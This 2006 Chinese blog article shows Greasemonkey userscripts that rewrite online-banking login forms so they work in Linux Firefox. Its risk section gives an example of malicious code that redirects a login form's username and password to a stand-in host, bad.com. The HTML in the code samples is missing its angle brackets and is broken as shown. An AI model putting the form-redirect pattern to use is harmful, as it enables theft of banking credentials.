Linux + Firefox 登陸網(wǎng)上銀行
本文的作者拒絕對(duì)本文的正確性提供任何形式的擔(dān)保,包括但不限于明示和暗示的。
Greasemonkey是Firefox 的一種非常強(qiáng)大的擴(kuò)展,能夠在網(wǎng)也內(nèi)容讀入之后,頁(yè)面顯示在瀏覽器之前執(zhí)行指定的JavaScript腳本。Greasemonkey 的[url=https://addons.mozilla.org/firefox/748/ ]下載地址。使用方法可以參考[url=http://forums.mozine.org/index.php?showtopic=4036 ]如何使用Greasemonkey。本文所介紹的方法,要首先要安裝這個(gè)擴(kuò)展。而且您要仔細(xì)查看使用說(shuō)明,才能夠理解本文所描述的方法。
其實(shí)另外一個(gè)被廣泛下載的擴(kuò)展[url=http://chrispederick.com/work/webdeveloper/ ]Web Developer ,也能實(shí)現(xiàn)本文所描述的功能,但更為復(fù)雜。
我們雖然能成功地以旁門(mén)左道登錄網(wǎng)上銀行,但這未必是最好的方法,筆者希望每位從本文得到幫助的讀者,都能給你開(kāi)戶銀行的webmaser發(fā)一封email,要求該行能夠直接支持Firefox。如果對(duì)方能夠修改網(wǎng)頁(yè)界面支持Firefox,下次評(píng)選最佳網(wǎng)行銀行的時(shí)候,您就可以考慮投他一票。本文附錄中列出了部分銀行網(wǎng)站webmaster的email地址。
[align=center][size=5]概論[/size][/align]
經(jīng)常有人說(shuō)可以在計(jì)算機(jī)中完全使用Linux生活和工作,但實(shí)際上在中國(guó)大陸還不能做得到。拿本人來(lái)說(shuō),我有99.9%的時(shí)間都是使用Linux的。不論是寫(xiě)C或Shell程序,聽(tīng)音樂(lè)、看電影、在棋圣道場(chǎng)(http://weiqi.com.tom)看棋譜,或是在[url=http://games.yahoo.com]Yaoo游戲打橋牌,都絕無(wú)問(wèn)題甚至游刃有余。但仍然有一個(gè)重要的原因使我不能脫離Windows 系統(tǒng),就是Linux無(wú)法登陸某些國(guó)內(nèi)的網(wǎng)上銀行。無(wú)論如何,我不能和錢(qián)過(guò)不去。
最近,MS開(kāi)始禁止盜版Windows進(jìn)行網(wǎng)上自動(dòng)更新,這對(duì)很多人無(wú)疑是一個(gè)打擊,這更堅(jiān)定了我拋棄Windows系統(tǒng)的決心。本人目前的職業(yè)是Linux教師,深深地?zé)岙Linux/FreeBSD一類(lèi)的開(kāi)源軟件,非常希望能像理查德.斯托爾曼一樣,完全用開(kāi)源軟件。如果有些做不到,就爭(zhēng)取無(wú)限接近。開(kāi)源軟件的最大優(yōu)點(diǎn)之一就是可以自己動(dòng)手編寫(xiě)一些東西。筆者雖然不是程序員,但也能折騰兩下。
國(guó)內(nèi)的銀行現(xiàn)在用多如牛毛來(lái)形容,應(yīng)該是一點(diǎn)都不過(guò)分的。下面的銀行列表表格摘自 [url=http://www.hao123.com/bankjt.htm]hao123網(wǎng)站
銀行列表略,見(jiàn)pdf版本。
很多銀行本人根本沒(méi)有帳號(hào),所以并不關(guān)心。據(jù)說(shuō)“洋”行的網(wǎng)站基本對(duì)所有瀏覽器都支持,包括IE 、Firefox、Opera、Safari等。但以前聽(tīng)說(shuō)過(guò)一在英國(guó)發(fā)生的新聞,某用戶在使用Lynx軟件訪問(wèn)銀行的時(shí)候,竟被懷疑是黑客,導(dǎo)致警察上門(mén)。所以說(shuō),外國(guó)的月亮確實(shí)圓一點(diǎn),但也很有限。
上表中我標(biāo)出兩個(gè)綠底的,北京銀行和中國(guó)銀行。前者可以很好地支持Firefox,后者據(jù)同事說(shuō)可以支持Firefox。這里只能對(duì)他們的網(wǎng)站設(shè)計(jì)和人員表示敬意。
三個(gè)藍(lán)底的銀行,招商銀行、建設(shè)銀行、交通銀行我都有帳號(hào),是不能直接使用FireFox的。其中招商銀行和交通銀行的登錄頁(yè)面上有ActiveX控件,不能被Firefox所支持。而建設(shè)銀行的頁(yè)面,有一個(gè)Firefox所無(wú)法使用的軟鍵盤(pán)。工商銀行我雖然沒(méi)帳號(hào),但知道也不兼容FireFox。
隨機(jī)挑選了幾個(gè)大陸以外的銀行,發(fā)現(xiàn)除了招商銀行香港分行以外,都可以使用Firefox。”和國(guó)際接軌“的口號(hào)大家已經(jīng)聽(tīng)煩了,從火車(chē)票的票價(jià)到大學(xué)生的學(xué)費(fèi)都如此,下一個(gè)接軌的據(jù)說(shuō)是北京的士的車(chē)費(fèi)。但什么時(shí)候春風(fēng)能吹到銀行呢?
網(wǎng)上銀行登錄頁(yè)面的作用,在讓客戶提交正確的帳號(hào)、密碼以及其他信息。只要我們能夠正確的提交數(shù)據(jù),無(wú)論頁(yè)面采用ActiveX還是ActiveY技術(shù),都不會(huì)影響我們使用。下面我們來(lái)具體分析一下各家銀行頁(yè)面的作用。
能夠提交數(shù)據(jù)的途徑是修改登錄頁(yè)面。例如下列的html代碼。
form method=post action=http://foo.com/cgi-bin/test.pl>
username:input name=username type=text>br>
password:input name=password type=password>br>
input name=submit type=submit value=OK>
/form>
如果我們用瀏覽器訪問(wèn)該頁(yè)面并在用戶名和密碼部分填寫(xiě)zhang3和123.并點(diǎn)擊OK按鈕,就會(huì)將數(shù)據(jù)提交給http://foo.com/cgi-bin/test.pl處理。甚至你可以直接在你的瀏覽器地址欄上直接輸入http://foo.com/cgi-bin/test.pl?username=z3password=123 ,效果通常相同。
網(wǎng)上銀行比這要復(fù)雜一些,因?yàn)楹芏嚆y行存在一個(gè)圖片”驗(yàn)證碼“,這無(wú)法用直接提交的方式發(fā)送數(shù)據(jù)。必需登錄銀行指定的登錄界面。
剛開(kāi)始研究這個(gè)問(wèn)題的時(shí)候,筆者嘗試通過(guò)建立一個(gè)FireFox的擴(kuò)展的方式登錄網(wǎng)上銀行,在深入研究了XUL、DOM等文檔后,成功地開(kāi)發(fā)出了自己的擴(kuò)展,但隨后發(fā)現(xiàn),利用現(xiàn)有的Greaemonkey擴(kuò)展是個(gè)更簡(jiǎn)單的方案。
Greasemonkey擴(kuò)展既然可以運(yùn)行Javascipt腳本,我們就能夠利用腳本動(dòng)態(tài)修改頁(yè)面,使得其能夠被Firefox顯示并且能提交正確的數(shù)據(jù)。首先分析原因所在,其中最容易的就是建設(shè)銀行。
[align=center][size=5]建設(shè)銀行[/size][/align]
建行網(wǎng)上銀行的[url=https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0TXCODE=CLOGIN]登陸入口
此頁(yè)面的問(wèn)題在于,如果使用Windows+IE ,當(dāng)試圖輸入密碼時(shí),會(huì)打開(kāi)一個(gè)軟鍵盤(pán)來(lái)輸入,這有一定的安全性,但也就只能防止某些可以記錄鍵盤(pán)輸入的間諜軟件而已,但使用Firefox,就根本不能輸入密碼。
其部分代碼如下(除去了一些定義外觀的部分):
td nowrap>證件號(hào)碼:/td> td nowrap colspan=3>input name=USERID type=text title=證件號(hào)碼>/td>
tr>
td nowrap>登錄密碼:/td>
td nowrap colspan=3>input id=LOGPASS name=LOGPASS type=password title=登錄密碼 readOnly onKeyDown=Calc.password.value=this.value onChange=Calc.password.value=this.value onclick= password1=this;showkeyboard();this.readOnly=1;Calc.password.value=''>/td> /tr>
核心問(wèn)題就是在上述代碼中我用紅色標(biāo)出的readOnly屬性,這使得我們不能夠直接輸入密碼,而只能借助于前文所說(shuō)的軟鍵盤(pán)。
我寫(xiě)了下面的腳本,用來(lái)重寫(xiě)一個(gè)標(biāo)準(zhǔn)的密碼框來(lái)取代原有的部分,內(nèi)容如下:
1.// ==UserScript==
2.// @namespace http://teenblog.org/tiantian
3.// @name ccb Assist
4.// @description ccb Assist
5.// @include https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0TXCODE=CLOGIN
6.// ==/UserScript==
7.var passArea=document.getElementsByTagName(td)[104];
8.passArea.innerHTML='input id=LOGPASS name=LOGPASS type=password class=textlogin size=20 minLength=6 maxLength=12 title=password>';
9.alertMessage='This page was modified by Greasemonkey extension.nThe extension use a user defined JavaScript.nThe Content of JavaScript is not related with Greasemonkey.nBe care to use this.nCopyright: GPL V2 nAuthor: maluyao at 163.comnKnow Bugs: n Can not logoutn' ;
10.alert(alertMessage);
前4行都是描述性的。第5行指出了本腳本針對(duì)的網(wǎng)頁(yè)。
第7行得到指定的td>和/td>之間的內(nèi)容,并在第8行中替換成我們自己的格式。第9行和第10行是彈出一個(gè)關(guān)于版權(quán)和警告信息的窗口,提醒用戶注意。當(dāng)然,最后這兩行不是必需的。
把此腳本命名為jianhang.user.js后,直接用Firefox打開(kāi)。并安裝。
現(xiàn)在用Firefox打開(kāi)建行的登錄界面,就能輸入卡號(hào)和密碼了,正確輸入數(shù)據(jù)并且提交后,進(jìn)入了下個(gè)界面。
在左上方能正確地看到本人的名字,下方顯示的廣東分行也是正確的(以前在廣東開(kāi)的戶)。沉浸在喜悅當(dāng)中的我,馬上點(diǎn)右下的“不使用證書(shū)進(jìn)入”。
唉?。。。?,只能說(shuō)十分遺憾。建行網(wǎng)站的內(nèi)部仍然不支持IE,還的另想辦法。
辦法就是繼續(xù)研究html界面,并用適當(dāng)?shù)膬?nèi)容替換之。因?yàn)楣ぷ髁康年P(guān)系,筆者放棄了對(duì)建設(shè)銀行的接續(xù)研究。
中國(guó)銀行的網(wǎng)上銀行登錄界面同樣也有一個(gè)軟鍵盤(pán),但是用戶可以選擇使用或不使用之。從網(wǎng)站界面設(shè)計(jì)的方面評(píng)價(jià),建設(shè)銀行無(wú)疑是和中國(guó)銀行有些差距了。國(guó)際話不能光在嘴上說(shuō)。要落實(shí)在行動(dòng)上。
[align=center][size=5]交通銀行[/size][/align]
接下來(lái)我們看看交通銀行,交通銀行的[url=https://pbank.95559.com.cn/personbank/common_logon.jsp]登陸界面
交行的登陸界面上用一個(gè)ActiveX控件輸入密碼,這在Linux + Firefox 的環(huán)境下是無(wú)法顯示的。我們的辦法是在登陸此界面后,用Firefox 的擴(kuò)展來(lái)修改登陸界面上的內(nèi)容。重新生成一個(gè)Firefox能夠正確顯示的表單(Form),交通銀行的腳本如下:
1.// ==UserScript==
2.// @namespace http://teenblog.org/tiantian
3.// @name JiaoHang Assist
4.// @description JiaoHang Assist
5.// @include https://pbank.95559.com.cn/personbank/common_logon.jsp
6.// ==/UserScript==
7.var addformhead=document.getElementsByTagName('td')[31];
8.alertMessage='This page was modified by Greasemonkey extension.nThe extension use a user defined JavaScript.nThe Content of JavaScript is not related with Greasemonkey.nBe care to use this.nPlease input Card Number on Card NumbernPlease input your password on PassWordnPlease Input adding code below Picture CodenCopyright: GPL V2 nAuthor: maluyao at 163.comnKnow Bugs: n Can not logoutn JIE JI Card Onlyn' ;
9.addformhead.innerHTML='form id=frmLogon name=frmLogon method=post action=Bank >' +
10. 'n input type=hidden name=netType value=0/> '+
11. 'n input type=hidden name=language value=zh_CN/> '+
12. 'n input type=hidden name=userType value=02/> '+
13. 'nCard Numberinput name=cardNo type=text maxLength=17 > '+
14. 'nbr>nPassWordinput type=password id=password name=password > ' +
15. 'nbr>Picture Codeinput name=reqCode type=text maxLength=6 size=10 >' +
16. 'n input type=hidden name=cardType value=0 /> '+
17.
18. '/form>'+
19. 'a href=javascript:document.getElementById('frmLogon').submit()>img src=/personbank/images/but-denglu.gif>/a>';
20.alert(alertMessage);
第8行和第18行定義和顯示了一個(gè)對(duì)話框,內(nèi)容是對(duì)使用本腳本的客戶機(jī)的一個(gè)警告信息,不是必要的。第9-19行中我們?cè)黾恿艘粋€(gè)新的表單,能夠提交正確的數(shù)據(jù)?! ‰m然界面目前被改的很丑陋,但能夠工作。輸入正確的數(shù)據(jù)后,可以進(jìn)入網(wǎng)上銀行,查看自己帳號(hào)的情況。
[align=center][size=5]風(fēng)險(xiǎn)分析[/size][/align]
從上面的例子里可以看出,F(xiàn)irefox的擴(kuò)展功能十分的強(qiáng)大??梢灾苯訉?duì)頁(yè)面進(jìn)行修改。但這里也存在相當(dāng)大的風(fēng)險(xiǎn)。
比如如果某頁(yè)面存在一個(gè)表單,定義如下:
1.form method=post action=http://good.com/cgi-bin/test.pl>
2.用戶名:input id=username name=username type=text >br>
3.密 碼:input id=password name=password type=text >br>
4.input name=submit type=submit value=”提交>
5./form>
這段內(nèi)容原本會(huì)將數(shù)據(jù)提交到good.com上的test.pl處理,但如果惡意代碼將其改為:
1.form method=post action=http://bad.com/cgi-bin/test.pl>
2.用戶名:input id=username name=username type=text >br>
3.密 碼:input id=password name=password type=text >br>
4.input name=submit type=submit value=”提交>
5./form>
這會(huì)導(dǎo)致原本應(yīng)該發(fā)送給good.com的數(shù)據(jù)被發(fā)送給bad.com。風(fēng)險(xiǎn)極大。
[align=center][size=5]招商銀行[/size][/align]
相比于上面兩個(gè)銀行,招商銀行的難度要高一些。招商銀行使用的ActiveX控件,能夠使得卡號(hào)和密碼在提交前就被ActiveX所加密,密文具有一定的隨機(jī)性。然后再提交數(shù)據(jù)。筆者認(rèn)為這并不是必要的,但毫無(wú)疑問(wèn),這種機(jī)制加大了我工作的難度。
如果能分析出這個(gè)加密算法并用JavaScript實(shí)現(xiàn),招商銀行的問(wèn)題也就解決了。從密碼學(xué)的原理來(lái)說(shuō),已知明文和密文,分析出算法并不是件非常困難的事情。但這需要時(shí)間。這個(gè)問(wèn)題的詳細(xì)內(nèi)容,請(qǐng)參考: http://bbs.chinaunix.net/viewthread.php?tid=749579extra=page%3D2 。
目前筆者還沒(méi)有分析出算法,但使用某種技巧,筆者能針對(duì)任意帳號(hào)和密碼在自己的電腦上生成密文。這樣雖然未知加密算法。但可以先得到自己帳號(hào)密碼的密文內(nèi)容,然后通過(guò)修改網(wǎng)頁(yè)的方式提交出去。當(dāng)然,這種方式暫時(shí)只能自學(xué)自用,不便公開(kāi)。事實(shí)上,因?yàn)檎行械木W(wǎng)站有很多”楨“(Frame)。修改起來(lái)過(guò)于麻煩。目前的計(jì)劃是不久以后注銷(xiāo)掉招商銀行的帳號(hào)。
據(jù)說(shuō)工商銀行的ActiveX也有類(lèi)似的機(jī)制,因?yàn)闆](méi)有工行帳號(hào),就不準(zhǔn)備進(jìn)一步研究了。但相信也可以通過(guò)和招商銀行類(lèi)似的方式解決。
[align=center][size=5]風(fēng)險(xiǎn)提示和后記[/size][/align]
對(duì)于一般的用戶,特別要注意不要安裝來(lái)路不明的擴(kuò)展和腳本,這其中的風(fēng)險(xiǎn)幾乎相當(dāng)于自己給自己安裝一個(gè)木馬。因?yàn)槌薐avaScript語(yǔ)言開(kāi)發(fā)以外,F(xiàn)irefox的擴(kuò)展還可以使用Java、C/C++等語(yǔ)言開(kāi)發(fā),能夠?qū)崿F(xiàn)非常底層的功能,甚至格式化你的硬盤(pán)。
感謝筆者現(xiàn)在的雇主—[url=http://www.hybenet.net/]北大青鳥(niǎo)(北京華源)授權(quán)培訓(xùn)中心,沒(méi)有給安排給我太多的工作任務(wù),使得能夠有足夠的時(shí)間和精力,深入研究自由軟件的各種技術(shù),回報(bào)自由軟件社區(qū)。
定稿于2006年5月7日
附錄:
部分不支持FireFox的銀行及其webmaster 的email地址:
中國(guó)工商銀行 webmaster@icbc.com.cn
中國(guó)農(nóng)業(yè)銀行 95599bj@abchina.com
交通銀行 95559@bankcomm.com
中國(guó)建設(shè)銀行 首頁(yè)上未標(biāo)明
招商銀行 首頁(yè)上未標(biāo)明 linux操作系統(tǒng)文章專(zhuān)題:linux操作系統(tǒng)詳解(linux不再難懂)
linux相關(guān)文章:linux教程
c++相關(guān)文章:c++教程
評(píng)論